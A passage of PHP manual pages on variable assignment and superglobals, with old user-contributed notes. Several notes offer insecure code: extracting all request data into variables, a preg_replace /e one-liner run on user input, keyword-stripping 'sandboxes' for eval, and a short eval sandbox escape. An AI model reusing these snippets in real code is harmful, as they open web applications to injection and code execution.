PHP also offers another way to assign values to variables: assign by reference. This means that the new variable simply references (in other words, "becomes an alias for" or "points to") the original variable. Changes to the new variable affect the original, and vice versa.

To assign by reference, simply prepend an ampersand (&) to the beginning of the variable which is being assigned (the source variable). For instance, the following code snippet outputs 'My name is Bob' twice:

<?php
$foo = 'Bob';              // Assign the value 'Bob' to $foo
$bar = &$foo;              // Reference $foo via $bar.
$bar = "My name is $bar";  // Alter $bar...
echo $bar;
echo $foo;                 // $foo is altered too.
?>

One important thing to note is that only named variables may be assigned by reference.

<?php
$foo = 25;
$bar = &$foo;      // This is a valid assignment.
$bar = &(24 * 7);  // Invalid; references an unnamed expression.

function test()
{
   return 25;
}

$bar = &test();    // Invalid.
?>

It is not necessary to initialize variables in PHP however it is a very good practice. Uninitialized variables have a default value of their type depending on the context in which they are used - booleans default to FALSE, integers and floats default to zero, strings (e.g. used in echo()) are set as an empty string and arrays become to an empty array.

Example #1 Default values of uninitialized variables

<?php
// Unset AND unreferenced (no use context) variable; outputs NULL
var_dump($unset_var);

// Boolean usage; outputs 'false' (See ternary operators for more on this syntax)
echo($unset_bool ? "true\n" : "false\n");

// String usage; outputs 'string(3) "abc"'
$unset_str .= 'abc';
var_dump($unset_str);

// Integer usage; outputs 'int(25)'
$unset_int += 25; // 0 + 25 => 25
var_dump($unset_int);

// Float/double usage; outputs 'float(1.25)'
$unset_float += 1.25;
var_dump($unset_float);

// Array usage; outputs array(1) {  [3]=>  string(3) "def" }
$unset_arr[3] = "def"; // array() + array(3 => "def") => array(3 => "def")
var_dump($unset_arr);

// Object usage; creates new stdClass object (see http://www.php.net/manual/en/reserved.classes.php)
// Outputs: object(stdClass)#1 (1) {  ["foo"]=>  string(3) "bar" }
$unset_obj->foo = 'bar';
var_dump($unset_obj);
?>

Relying on the default value of an uninitialized variable is problematic in the case of including one file into another which uses the same variable name. It is also a major security risk with register_globals turned on. E_NOTICE level error is issued in case of working with uninitialized variables, however not in the case of appending elements to the uninitialized array. isset() language construct can be used to detect if a variable has been already initialized.

User Contributed Notes

megan at voices dot com 05-Jan-2012 08:44
"Note: $this is a special variable that can't be assigned."

While the PHP runtime generates an error if you directly assign $this in code, it doesn't for $$name when name is 'this'.

<?php

$this = 'text'; // error

$name = 'this';
$$name = 'text'; // sets $this to 'text'

?>
maurizio dot domba at pu dot t-com dot hr 21-Jan-2011 02:23
If you need to check user entered value for a proper PHP variable naming convention you need to add ^ to the above regular expression so that the regular expression should be '^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'.

Example

<?php
$name="20011aa";
if(!preg_match('/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/',$name))
   echo $name.' is not a valid PHP variable name';
else
   echo $name.' is valid PHP variable name';
?>

Outputs: 2011aa is valid PHP variable name

but

<?php
$name="20011aa";
if(!preg_match('/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/',$name))
   echo $name.' is not a valid PHP variable name';
else
   echo $name.' is valid PHP variable name';
?>

Outputs: 2011aa is not a valid PHP variable name
jeff dot phpnet at tanasity dot com 11-Sep-2010 04:11
This page should include a note on variable lifecycle:

Before a variable is used, it has no existence. It is unset. It is possible to check if a variable doesn't exist by using isset(). This returns true provided the variable exists and isn't set to null. With the exception of null, the value a variable holds plays no part in determining whether a variable is set.

Setting an existing variable to null is a way of unsetting a variable. Another way is variables may be destroyed by using the unset() construct.

<?php
print isset($a); // $a is not set. Prints false. (Or more accurately prints ''.)
$b = 0; // isset($b) returns true (or more accurately '1')
$c = array(); // isset($c) returns true
$b = null; // Now isset($b) returns false;
unset($c); // Now isset($c) returns false;
?>

is_null() is an equivalent test to checking that isset() is false.

The first time that a variable is used in a scope, it's automatically created. After this isset is true. At the point at which it is created it also receives a type according to the context.

<?php
$a_bool = true;   // a boolean
$a_str = 'foo';    // a string
?>

If it is used without having been given a value then it is uninitalized and it receives the default value for the type. The default values are the _empty_ values. E.g  Booleans default to FALSE, integers and floats default to zero, strings to the empty string '', arrays to the empty array.

A variable can be tested for emptiness using empty();

<?php
$a = 0; //This isset, but is empty
?>

Unset variables are also empty.

<?php
empty($vessel); // returns true. Also $vessel is unset.
?>

Everything above applies to array elements too.

<?php
$item = array();
//Now isset($item) returns true. But isset($item['unicorn']) is false.
//empty($item) is true, and so is empty($item['unicorn']

$item['unicorn'] = '';
//Now isset($item['unicorn']) is true. And empty($item) is false.
//But empty($item['unicorn']) is still true;

$item['unicorn'] = 'Pink unicorn';
//isset($item['unicorn']) is still true. And empty($item) is still false.
//But now empty($item['unicorn']) is false;
?>

For arrays, this is important because accessing a non-existent array item can trigger errors; you may want to test arrays and array items for existence with isset before using them.
Edoxile 06-Mar-2010 01:25
When wanting to switch two variables from content, you can use the XOR operator:

<?PHP
$a=5;
$b=3;

//Please mind the order of these, as it's important for the outcome.

$a^=$b;
$b^=$a;
$a^=$b;

echo $a.PHP_EOL.$b;
/* prints:
3
5
*/
?>

This will also work on strings, but it won't work on arrays and objects, so for them you'll have to use the serialize() function before the operation, and the unserialize() function after.
Variables
Predefined Variables
Variables


Predefined Variables

PHP provides a large number of predefined variables to any script which it runs. Many of these variables, however, cannot be fully documented as they are dependent upon which server is running, the version and setup of the server, and other factors. Some of these variables will not be available when PHP is run on the command line. For a listing of these variables, please see the section on Reserved Predefined Variables.

Warning

In PHP 4.2.0 and later, the default value for the PHP directive register_globals is off. This is a major change in PHP. Having register_globals off affects the set of predefined variables available in the global scope. For example, to get DOCUMENT_ROOT you'll use $_SERVER['DOCUMENT_ROOT'] instead of $DOCUMENT_ROOT, or $_GET['id'] from the URL http://www.example.com/test.php?id=3 instead of $id, or $_ENV['HOME'] instead of $HOME.

For related information on this change, read the configuration entry for register_globals, the security chapter on Using Register Globals , as well as the PHP » 4.1.0 and » 4.2.0 Release Announcements.

Using the available PHP Reserved Predefined Variables, like the superglobal arrays, is preferred.

From version 4.1.0 onward, PHP provides an additional set of predefined arrays containing variables from the web server (if applicable), the environment, and user input. These new arrays are rather special in that they are automatically global--i.e., automatically available in every scope. For this reason, they are often known as "superglobals". (There is no mechanism in PHP for user-defined superglobals.) The superglobals are listed below; however, for a listing of their contents and further discussion on PHP predefined variables and their natures, please see the section Reserved Predefined Variables. Also, you'll notice how the older predefined variables ($HTTP_*_VARS) still exist. As of PHP 5.0.0, the long PHP predefined variable arrays may be disabled with the register_long_arrays directive.

Note: Variable variables

Superglobals cannot be used as variable variables inside functions or class methods.

Note:

Even though both the superglobal and HTTP_*_VARS can exist at the same time; they are not identical, so modifying one will not change the other.

If certain variables in variables_order are not set, their appropriate PHP predefined arrays are also left empty.

User Contributed Notes

mvpetrovich 17-May-2008 10:52
Here is a function to get all your variables of interest.

It uses the "parse_str function" and lets you enter your variable names as a space-delimited list.  It's a quick way to get your variables.  Note that in this function I strip tags, and trim the result.  The function produces a "Query String" which is fed into the "parse_str_function."

Example:
<?php
  parse_str(PostGetStr('NAME PASSWORD SUBMIT','POST'));
?>

This will produce three variables, $NAME, $PASSWORD, and $SUBMIT.  If they were undefined, they will be null strings, ie, $NAME=''.

<?php
function PostGetStr($str,$type){
  $VARS = explode(' ',$str);
  $RESULT = '';
  if($type == 'POST'){
     foreach($VARS as $PV) if(isset($_POST[$PV])) {
       $RESULT .= "$PV=".trim(strip_tags($_POST[$PV])).'&';
       } else {$RESULT .= "$PV=&";}
  } elseif($type == 'GET'){
     foreach($VARS as $PV) if(isset($_GET[$PV])) {
       $RESULT .= "$PV=".trim(strip_tags($_GET[$PV])).'&';
       } else {$RESULT .= "$PV=&";}
  } elseif($type == 'BOTH'){
     foreach($VARS as $PV) if(isset($_REQUEST[$PV])) {
       $RESULT .= "$PV=".trim(strip_tags($_REQUEST[$PV])).'&';
     } else {$RESULT .= "$PV=&";}
  }
  $RESULT = substr($RESULT,0,-1);
  return $RESULT;
}

?>
root at mantoru dot de 31-Jan-2008 12:56
To tokie at hanmail dot net: You took that out of context -- it is merely a recommendation.

If your variables_order setting does not contain "E", $_ENV is still useful. Every call to getenv will be "cached" in $_ENV, so you can do this:

<?php
// variables_order = GPCS
var_dump(isset($_ENV['PATH'])); // bool(false)
getenv('PATH');
var_dump(isset($_ENV['PATH'])); // bool(true)
?>

For some reason, it does not work with with own environment variables. The above example with PHP_TEST instead of PATH would fail (if it is set via putenv).
fabrizio at bibivu dot com 28-Jun-2007 07:05
theonly_DD32, I refined your function a little bit

<?php
    function long_to_GET($PATH_INFO=''){
        /**
        * This function converts info.php/a/1/b/2/c?d=4 TO
        * array ( [d] => 4 [a] => 1 [b] => 2 [c] => array ( [d] => 4 ) )
        * got this function from http://php.net/GLOBALS
        **/
        if($PATH_INFO=='' && isset($_SERVER['PATH_INFO']) && $_SERVER['PATH_INFO'] != ''){
            $PATH_INFO = $_SERVER['PATH_INFO'];
        }
        if($PATH_INFO != ''){
            //Split it out.
            $tmp = explode('/',$PATH_INFO);
            //Remove first empty item
            unset($tmp[0]);
            //Loop through and apend it into the $_GET superglobal.
            for($i=1;$i<=count($tmp);$i+=2){
                if(strpos($tmp[$i],'?')!==false){
                    $tmp1 = explode('?',$tmp[$i]);
                    parse_str(isset($tmp1[1])?$tmp1[1]:'',$_GET[$tmp1[0]]);
                    $i--;
                } else {
                    $_GET[$tmp[$i]] = isset($tmp[$i+1])?$tmp[$i+1]:'';
                }
            }
        }
    }

?>
tokie at hanmail dot net 23-May-2007 06:45
I found something you should know in the settings file (php.ini) :

;     The environment variables are not hashed into the $_ENV.  To access
;     environment variables, you can use getenv() instead.

so... don't be surprised if you print_r($_ENV) and you get NOTHING!!
pinkgothic at gmail dot com 20-Apr-2007 07:15
Dealing with "superglobals" and functions is not as straightforward as it may seem when you're doing plenty manipulations.

For example:

<?php
  function some_other_method() {
    echo $_REQUEST['id'];
  }
  function some_method() {
    $_REQUEST['id'] = 440;
    some_other_method();
  }
?>

Calling some_method() will cause a warning-level error by PHP informing you that "id" is not set in some_other_method(). However, if you instead use:

<?php
  $_REQUEST['id'] = 0;
  function some_other_method() {
    echo $_REQUEST['id'];
  }
  function some_method() {
    $_REQUEST['id'] = 440;
    some_other_method();
  }
?>

Then the script will echo 440.

In consequence, if you manually attempt to add keys to the superglobals, those keys *aren't* automatically superglobal. The above example isn't very sensible, of course, but this can be a huge gotcha if you're juggling user data between functions and you're unwittingly being forced to work inside a function (e.g. via PHP include in TYPO3).

Unfortunately, global $_REQUEST['id'] won't save you, either - it causes a parse error - nor will a global $_REQUEST change anything after you've set the keys... consequently making it hard to conviniently 'hack' outdated scripts by making them believe they're still running in a different environment.

The only "solution" to this issue is to use parameters.
holger at doessing dot net 02-Feb-2007 06:07
On the subject of permalinks and queries:
Say, you use an inexpensive subdomain of (e.g.) www.nice.net, thus www.very.nice.net, and that the domain owner has simply placed a frame at this particular location, linking to the actual address (ugly and subject-to-change) of your site.
Consequently, the actual site URI and various associated hashes and query strings are not immediately visible to the user. Sometimes this is useful, but it also makes bookmarking/permalinking impossible (the browser will only bookmark the static address in the top frame).
However, as far as the query strings go, there is workaround. Instead of providing users with permalinks to the actual URI (e.g. prtcl://weird.and.ugly/~very/ugly.php?stuff=here; may even be subject to change), I provide them with this: prtcl://www.very.nice.net?stuff=here.

In brief, I then use the following code to re-populate the $_GET array:

if (isset($_SERVER['HTTP_REFERER'])) { // If set, this page is running in a frame
    $uri = parse_url($_SERVER['HTTP_REFERER']); // grab URI of parent frame
    $querystring = ($uri['query']) ? $uri['query'] : false; // grab the querystring
    if ($querystring) {
        $vars = explode('&', $querystring); // cut into individual statements
        foreach ($vars as $varstring) { // populate $_GET
            $var = explode('=', $varstring);
            if (count($var) == 2) $_GET[$var[0]] = $var[1];
        }
    } // no, nothing to report from the parent frame
} // no, not using a parent frame today...

If the actual host address is ever changed, users entering the frame (with the nicer address) will be using the new (and ugly) URI, but this way the old query strings will be available to the new address also. The users will never again be bothered by you moving to another neighborhood.
Joe Marty 24-Jan-2007 11:48
I think it is very important to note that PHP will automatically replace dots ('.') AND spaces (' ') with underscores ('_') in any incoming POST or GET (or REQUEST) variables.

This page notes the dot replacement, but not the space replacement:
http://us2.php.net/manual/en/language.variables.external.php

The reason is that '.' and ' ' are not valid characters to use in a variable name.  This is confusing to many people, because most people use the format $_POST['name'] to access these values.  In this case, the name is not used as a variable name but as an array index, in which those characters are valid.

However, if the register_globals directive is set, these names must be used as variable names.  As of now, PHP converts the names for these variables before inserting them into the external variable arrays, unfortunately - rather than leaving them as they are for the arrays and changing the names only for the variables set by register_globals.
yarco dot w at gmail dot com 09-Aug-2006 07:13
And you should know

$_POST is not a reference of $HTTP_POST_VARS

So, if you change $_POST, there are no change to $HTTP_POST_VARS.
Iñigo Medina 05-May-2006 01:22
It is true. I usually write variables in this way: $chuckNorrisFilms. So one almost never finds problems.
johnphayes at gmail dot com 12-Apr-2006 10:36
I haven't found it anywhere else in the manual, so I'll make a note of it here - PHP will automatically replace any dots ('.') in an incoming variable name with underscores ('_'). So if you have dots in your incoming variables, e.g.:

example.com/page.php?chuck.norris=nevercries

you can not reference them by the name used in the URI:
//INCORRECT
echo $_GET['chuck.norris'];

instead you must use:
//CORRECT
echo $_GET['chuck_norris'];
jk at ricochetsolutions dot com 28-Mar-2006 01:41
here is a one line snippet to do the same as DD32's func

@preg_replace(
   "/(?i)([a-z0-9_]+)\/([a-z0-9_]+)\/?/e",
   '$_GET[\'$1\'] = "$2";',
   ((isset($_SERVER['PATH_INFO'])) ? $_SERVER['PATH_INFO'] : '')
);

may be faster, it may not ;o
DD32=theonly_DD32[&amp;]yahoo.com.au 19-Mar-2006 05:43
I have this function in my main files, it allows for easier SEO for some pages without having to rely on .htaccess and mod_rewrite for some things.
<?php
    function long_to_GET(){
        /**
        * This function converts info.php/a/1/b/2/c?d=4 TO
        * Array ( [d] => 4 [a] => 1 [b] => 2 [c] => )
        **/
        if(isset($_SERVER['PATH_INFO']) && $_SERVER['PATH_INFO'] != ''){
            //Split it out.
            $tmp = explode('/',$_SERVER['PATH_INFO']);
            //Remove first empty item
            unset($tmp[0]);
            //Loop through and apend it into the $_GET superglobal.
            for($i=1;$i<=count($tmp);$i+=2){ $_GET[$tmp[$i]] = $tmp[$i+1];}
        }
    }
?>

Its probably not the most efficient, but it does the job rather nicely.

DD32
08-Mar-2006 05:51
there is a difference to the scope of eg. java: variables that are defined inside a block are also defined outside of  the brackets.

eg. this works:

if {true}
{
  $a = 'it works';
}

echo $a;
Graeme Jefferis 13-Sep-2005 04:06
I find this sort of thing consistently useful for dealing with superglobals in safety and comfort.
<?php
foreach ($_POST as $key => $value)
{
        switch ($key)
        {
                case "submitted_var_1":
                case "submitted_var_2":
                case "submitted_var_3":
                        $$key = $value; break;

                case "dangerous_var":
                        $value = do_something_special_with($value);
                        $$key = $value;
                        break;
        }
}
?>
Nicole King 12-Sep-2005 11:01
There seems to a maximum size of key that you can use for the $_SESSION array on php5. If you exceed this length, which seems to be around 72 characters, the value is stored in the array, but is not serialised and restored later in the session (ie. when a subsquent page is processed). The same restriction *might* apply to other system-defined arrays.
webdesign at benking dot com 29-Aug-2005 02:33
# this is a follow-up to kasey at cornerspeed's 14-Jun-2004 08:33 post and debabratak at softhome's 14-Mar-2003 12:59 post, minus sessions but including a safety mechanism to block unwanted variables...

# if you are like me and do not want to have to type $_POST[some_var] to get to all your passed variable data, you can safely convert all the data to the variable names (so it is like old style php) by using a pre-defined allowed arg names list like this;

$allowed_args = ',f_name,l_name,subject,msg,';

foreach(array_keys($_POST) as $k) {
    $temp = ",$k,";
    if(strpos($allowed_args,$temp) !== false) { $$k = $_POST[$k]; }
}

# then you can use the programmer friendly (less typing) vars like so;
echo "Hello $f_name";

# make sure you have commas in front of and after each var name in the $allowed_args list, so strpos will never surprise you by mistakingly finding an unwanted var name within another var name
dompody [at] gmail [dot] com 15-May-2005 05:08
To urbanheroes:

version_compare() is only in PHP version 4.1.0 and up. This completely negates your function, since if the version is less than 4.1.0 it will generate an error anyway. The better solution is to do what is stated in the post above yours:

<?php
if (!isset($_SERVER))
{
   $_GET    = &$HTTP_GET_VARS;
   $_POST    = &$HTTP_POST_VARS;
   $_ENV    = &$HTTP_ENV_VARS;
   $_SERVER  = &$HTTP_SERVER_VARS;
   $_COOKIE  = &$HTTP_COOKIE_VARS;
   $_REQUEST = array_merge($_GET, $_POST, $_COOKIE);
}
?>

Include that before everything else in your script and it will fix the flaw.
myfirstname dot barros at gmail dot com 27-Apr-2005 07:10
vars in $_REQUEST are *not* a reference to the respective $_POST and $_GET and $_COOKIE ones.

Consider:
http://site.com/index.php?avar=abc

index.php:
<?php
$_GET['avar'] = 'b';
print_r($_GET); print('<br>');
print_r($_REQUEST);
?>

output:
Array ( [avar] => 'b' )
Array ( [avar] => 'abc' )
sendoshin[at]noodleroni[dot]com 26-Apr-2005 05:58
There is one way to safely execute PHP code files without running the risk of compromising your own code.  A prior note pointed out that the code being evaluated would still have access to globals using the global keyword.  While this is a valid point, there's one other approach to be looked at - one which actually gives you much more ability than just unsetting some variable references.  It's known as code parsing.

The specifics would be different and much more complex in a deployed site, but here's an extremely strip-down example of how to restrict access to global variables:

<?php
    while ($x = stristr ($code_to_eval, "global")) {
        $temp = substr ($code_to_eval, 1, $x-1);
        $temp .= substr ($code_to_eval, stristr ($code_to_eval, ";", $x) + 1);
        $code_to_eval = $temp;
    }
    $ret_val = eval ($code_to_eval);
?>

Of course, that's just a rudimentary example, and a deployment version would have much more checking involved, but parsing the file before you eval it lets you remove any code you don't want to let run, thus making it as safe as your parsing rules.
lanny at freemail dot hu 10-Apr-2005 02:32
From PHP 5.0.3 long predefined arrays such HTTP_GET_VARS got disabled by default. For backward compatibility you can enable them in php.ini:

register_long_arrays = On

I sugget a big WARNING up there like that one with the resister_globals.

Anyway.. I cannot understand why they do such tings all the time.
16-Feb-2005 04:35
php.net uses this

// Backward compatible array creation. After this point, the
// PHP 4.1.0+ arrays can be used to access variables coming
// from outside PHP. But it should be noted that these variables
// are not necessarily superglobals, so they need to be global-ed!
if (!isset($_SERVER))
{
    $_GET     = &$HTTP_GET_VARS;
    $_POST    = &$HTTP_POST_VARS;
    $_ENV     = &$HTTP_ENV_VARS;
    $_SERVER  = &$HTTP_SERVER_VARS;
    $_COOKIE  = &$HTTP_COOKIE_VARS;
    $_REQUEST = array_merge($_GET, $_POST, $_COOKIE);
}

$PHP_SELF = $_SERVER['PHP_SELF'];
kasey at cornerspeed dowt com 14-Jun-2004 05:33
I have a few points to note to (debabratak at softhome dot net).  Firstly, extracting all your variables from the global variable arrays is rather cumbersome and possibly unsafe.  This causes longer run times, and wastes more memory.  Then, your script is starting the session before it parses the superglobals.  Bad things can happen because of this:

<?php

// user sent a GET header with key = secret_access, val = true, so

echo $_GET["secret_access"]; // output: true
echo $secret_access; // output:

session_start();

// in previous logic, you set session variable $secret_access = false

echo $_SESSION["secret_access"]; // output: false
echo $secret_access; // output: false

extract_globals();  // Globals put into "normal" variables

echo $_GET["secret_access"]; // output: true
echo $_SESSION["secret_access"]; // output: false
echo $secret_access; // output: true

// VARIABLES ARE COMPROMISED!
// DO NOT USE $secret_access !
// USE $_SESSION["secret_access"] instead !!!

?>

Secondly, I would like to point out the fact that all $_POST, $_GET, and $_COOKIE variables are intrinsically unsafe anyway.  Users can create their own scripts in the language of their choosing (PHP, ASP, JSP, etc.) that generate those headers to send to your PHP program via socket connections.  PHP cannot determine that these headers are any less valid than the ones sent by a web browser, so it parses them and places them in the $_POST, $_GET, or $_COOKIE variables.

The best practice is to use $_SESSION variables to validate the user before making any decisions based on form data.  e.g.:

<?php
session_start();
if (isset($_SESSION["valid"]))
{
    // all your program decisions and database interactions can go here
    if (isset($_POST["button_name"]))
    {
        ...
    }
    ...
}
elseif (isset($_POST["submit_login"]))
{
    if (($_POST["username"] == "foo") AND ($_POST["password"] == "bar"))
    {
        $_SESSION["valid"] = true;
        ...
    }
    else
    {
        session_unset();
        session_destroy();
        $error_msg = "Invalid username or password";
        $result_page = "login.php";
    }
}
elseif (isset($logoff))
{
    session_unset();
    session_destroy();
    $success_msg = "You have logged off successfully";
    $result_page = "login.php";
}
else
{
    session_unset();
    session_destroy();
    $result_page = "login.php";
}
require ($result_page);
?>

Session variables are orders of magnitude harder to compromise than POST, GET, and COOKIE data, since the server keeps track of session id's, and the session id is unique to each client and somewhat randomly generated.  If security is an ultimate concern, then you need to use SSL in case your traffic can be sniffed (since the session cookie is passed plain text to the client).

In summary, extracting out all the superglobals to normal variable names is not a good idea for reasons of security and ambiguity, not to mention wasted CPU cycles.  For private applications (ones that you don't want just anyone to be able to access), the only ways you can prevent malicious access is to 1) use sessions to ensure that the user is valid (for that page), and 2) use SSL-encryption to prevent session-hijacking.

Kasey

in reply to:
--------------------------------------------------------------
 debabratak at softhome dot net
14-Mar-2003 12:59
After having register_globals = off, I am using the following piece of code to get all the variables created for me. I have put this code in a separate file and just make it require_once() on top of every page.

session_start();
$ArrayList = array("_GET", "_POST", "_SESSION", "_COOKIE", "_SERVER");
foreach($ArrayList as $gblArray)
{
   $keys = array_keys($$gblArray);
   foreach($keys as $key)
   {
       $$key = trim(${$gblArray}[$key]);
   }
}

This pulls out all the possible variables for me, including the predefined variables, so I can keep coding the old style. Note that, this code does not handle the $_FILE.

Hope this helps someone.
bryan at nolifeline dot com 10-May-2004 12:07
to marcbender at mail dot com

unset the globals

use a preg_replace ( pattern: |\;[^\;]*$i[^\;]*\;|Uis, replacement: ";", where $i is the name of any function/variable you wish to prevent access to.) on the code-to-be-evaled.  ideas are "global", "fopen", "mysql_connect", etc.  You know, anything that you wouldn't want to give a hyperactive 13 year old access to.

execute the code.
bryan at nolifeline dot com 10-May-2004 11:59
This code needs slightly changed...

function remap_globals() {

   global $GET_VARS, $POST_VARS, $COOKIE_VARS, $SESSION_VARS, $SERVER_VARS, $ENV_VARS;

   $parser_version = phpversion();

   if ($parser_version <= "4.1.0") {
     $GET = &$GET_VARS;
     $POST = &$POST_VARS;
     $COOKIES = &$COOKIE_VARS;
     $SESSION = &$HTTP_SESSION_VARS;
     $SERVER = &$HTTP_SERVER_VARS;
     $ENV = &$HTTP_ENV_VARS;
   }
   if ($parser_version >= "4.1.0") {
     $GET = &$_GET;
     $POST = &$_POST;
     $COOKIES  = &$_COOKIE;
     $SESSION  = &$_SESSION;
     $SERVER = &$_SERVER;
     $ENV = &$_ENV;
   }
}

Note the ampersands.  They ensure that the variables act _exactly_ like the superglobal components, ie: changing $SESSION will update $_SESSION and thus update the local session files.

So yeah.  I don't know what the PHP name for that is, but in C it's called dereferencing, and I've seen it done in function definitions in myriad people's code, but not once in a standard variable situation.  Oh well.  Can't be creative all the time ^_^
marcbender_AT_mail_DOT_com 18-Apr-2004 02:23
-Security issue-

In response to lopez at yellowspace,

You provided a method for executing potentially unsafe code:

> function safeEval($evalcode) {
>    unset($GLOBALS);
>    unset($_ENV);
>    // unset any other superglobal...
>    return eval($evalcode);
> }

Your method, though clever, won't work.  The problem is the way that PHP handles function scope.  If $evalcode contains a function declaration, and runs that function, the "unset"s will be effectively useless inside the body of that function.

Try running the above code with $evalcode set as follows:

<?php
$evalcode='f();
function f() {
   $GLOBALS["_SERVER"] = "compromised";
}';
?>

Then print $_SERVER and see what you get.

Another problem is that the "global" directive will always grant access to global variables.  Try this one:

<?php
$evalcode='global $a;
$a = "compromised";';
?>

$a will of course be changed at the global level.  I don't know if it's supposed to work this way, but on my system (PHP 4.3.4) you can do the same to any superglobal by importing it using "global".

As far as I can tell, there is NO way to execute potentially unsafe code without a lot of risk.  With the sloppy way that PHP deals with function scope etc., there isn't much hope that it ever will be.  What we'd need is (at least):
  - a way to disable the "global" directive (restrictive eval).
  - a way to shut off any write-access to superglobals within untrusted functions.

The first wouldn't be too hard to implement.  The second, on the other hand, is practically impossible IMHO.
mark at pitchpipe dot org 25-Oct-2003 10:21
I had always mistakenly assumed that superglobal $_COOKIE (while preferred) was identical to the outdated $HTTP_COOKIE_VARS.  However, if you assign:

$_COOKIE['destroyWorld'] = "true";
if (isset($HTTP_COOKIE_VARS['destroyWorld'])) {
   $temp =& new Armeggedon();
   $temp->pushRedButton();
 }

then the world will be safe forever.  Might throw off a newbie, or someone like me who was updating really old code bit-by-bit.
wagner at cesnet dot cz 29-Sep-2003 08:15
The redirected pages by response codes 301, 302, 303 change the request method always to GET, that's why $HTTP_POST_VARS are lost. It is described in Apache documentation.
joker at vip dot hr 08-Sep-2003 07:42
If anyone of you have a problem with uploading files with globals off here is the solution... just add this to the top of the code:

reset ($_FILES);
while (list ($key, $val) = each ($_FILES)) {
    ${$key}=$_FILES[$key]['tmp_name'];
    while (list ($key1, $val1) = each ($val)) {
        ${$key."_".$key1}=$_FILES[$key][$key1];
    }
}

   Daniel
alexsp at olywa dot net 02-May-2003 07:26
For those of us who don't have the luxery of upgrading to the latest version of PHP on all of the servers we use but want to use the same variable names that are used in the latest version for super global arrays here's a snippet of code that will help:
    // Makes available those super global arrays that are made available
    // in versions of PHP after v4.1.0.
    if (isset ($HTTP_SERVER_VARS))
    {
        $_SERVER = &$HTTP_SERVER_VARS;
    }

    if (isset ($HTTP_GET_VARS))
    {
        $_GET = &$HTTP_GET_VARS;
    }

    if (isset ($HTTP_POST_VARS))
    {
        $_POST = &$HTTP_POST_VARS;
    }

    if (isset ($HTTP_COOKIE_VARS))
    {
        $_COOKIE = &$HTTP_COOKIE_VARS;
    }

    if (isset ($HTTP_POST_FILES))
    {
        $_FILES = &$HTTP_POST_FILES;
    }

    if (isset ($HTTP_ENV_VARS))
    {
        $_ENV = &$HTTP_ENV_VARS;
    }

    if (isset ($HTTP_SESSION_VARS))
    {
        $_SESSION = &$HTTP_SESSION_VARS;
    }
The only downfall to this is that there's no way to make them super global. Chances are, though, if you're using a lot of global arrays in your code you should consider a code redesign!  :)  Hope this helps.
01-May-2003 09:06
In reply to destes at ix dot netcom dot com dot nospam:

It's possible for a HTTP client to spoof HTTP_X_FORWARDED_FOR, and set it to a fake IP number.  It's more secure to use this code and log BOTH the ip and the proxy ip.

if ($_SERVER["HTTP_X_FORWARDED_FOR"]) {
   if ($_SERVER["HTTP_CLIENT_IP"]) {
    $proxy = $_SERVER["HTTP_CLIENT_IP"];
  } else {
    $proxy = $_SERVER["REMOTE_ADDR"];
  }
  $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else {
  if ($_SERVER["HTTP_CLIENT_IP"]) {
    $ip = $_SERVER["HTTP_CLIENT_IP"];
  } else {
    $ip = $_SERVER["REMOTE_ADDR"];
  }
}

echo "Your IP $ip<BR>\n";
if (isset($proxy)) {
  echo "Your proxy IP is $proxy<BR>\n";
}
LouisGreen at pljg dot freeserve dot co dot uk 25-Mar-2003 10:22
It seems that when you wish to export a varible, you can do it as return $varible, return an array(), or globalise it. If you return something, information for that varible can only travel one way when the script is running, and that is out of the function.

function fn() {
   $varible = "something";

  return $variable;
}

echo fn();
OR
$newvariable = fn();

Although if global was used, it creates a pointer to a varible, whether it existed or not, and makes whatever is created in the function linked to that global pointer. So if the pointer was global $varible, and then you set a value to $varible, it would then be accessible in the global scope. But then what if you later on in the script redefine that global to equal something else. This means that whatever is put into the global array, the information that is set in the pointer, can be set at any point (overiden). Here is an example that might make this a little clearer:

function fn1() {

   global $varible; // Pointer to the global array
   $varible = "something";
}

fn1();
echo $varible; // Prints something
$varible = "12345";
echo $varible; // Prints 12345

function fn2() {

   global $varible; // Pointer to the global array
   echo $varible;
}

fn2(); // echos $varible which contains "12345"

Basically when accessing the global array, you can set it refer to something already defined or set it to something, (a pointer) such as varible you plan to create in the function, and later possibly over ride the pointer with something else.
Good Liam 19-Mar-2003 09:18
Warning:
If you use dynamic variables in a local scope, the variable doesn't "know" when it should be a superglobal.  An example will help elucidate this:

function Example($Variable_Name='_POST') {
    print_r($$Variable_Name);
} // End Example

This would print out

NULL

To use a dynamic variable to reference a superglobal, you have to declare the value (not the name) as a global:

function WorkingExample($Variable_Name='_POST') {
    global $$Variable_Name;
    print_r($$Variable_Name);
} // End WorkingExample()

This would print out the contents of your $_POST variable.

This threw me when I first tried it, but it makes sense, in a way.
LouisGreen at pljg dot freeserve dot co dot uk 12-Mar-2003 02:36
If you require access to Predefined Variables in different PHP/ servers versions and don't wish to mess about with how you access them, this little snippet of code might help you:

function fn_http_vars_access() {

   global $GET_VARS, $POST_VARS, $COOKIE_VARS, $SESSION_VARS, $SERVER_VARS, $ENV_VARS;

   $parser_version = phpversion();

   if ($parser_version <= "4.1.0") {
      $GET_VARS      = $GET_VARS;
      $POST_VARS     = $POST_VARS;
      $COOKIE_VARS   = $COOKIE_VARS;
      $SESSION_VARS  = $HTTP_SESSION_VARS;
      $SERVER_VARS   = $HTTP_SERVER_VARS;
      $ENV_VARS      = $HTTP_ENV_VARS;
   }
   if ($parser_version >= "4.1.0") {
      $GET_VARS      = $_GET;
      $POST_VARS     = $_POST;
      $COOKIE_VARS   = $_COOKIE;
      $SESSION_VARS  = $_SESSION;
      $SERVER_VARS   = $_SERVER;
      $ENV_VARS      = $_ENV;
   }
}

fn_http_vars_access();
11-Feb-2003 10:12
i just noticed that the free web server i'm running my scripts on still only knows the deprecated variable names (i.e. it uses $HTTP_POST_VARS instead of $_POST). to make scripts work both on updated servers and servers that are a bit out of date, i now use:

$variablename=(isset($_POST["variablename"])) ? $_POST["variablename"] : $HTTP_POST_VARS["variablename"];
lopez dot on dot the dot lists at yellowspace dot net 17-Jan-2003 06:11
- Security Issue and workaround -
If You use "eval()" to execute code stored in a database or elsewhere, you might find this tip useful.

Issue:
By default, all superglobals are known in every function.
Thus, if you eval database- or dynamically generated code (let's call it "potentially unsafe code"), it can use _all_ the values stored in _any_ superglobal.

Workaround:
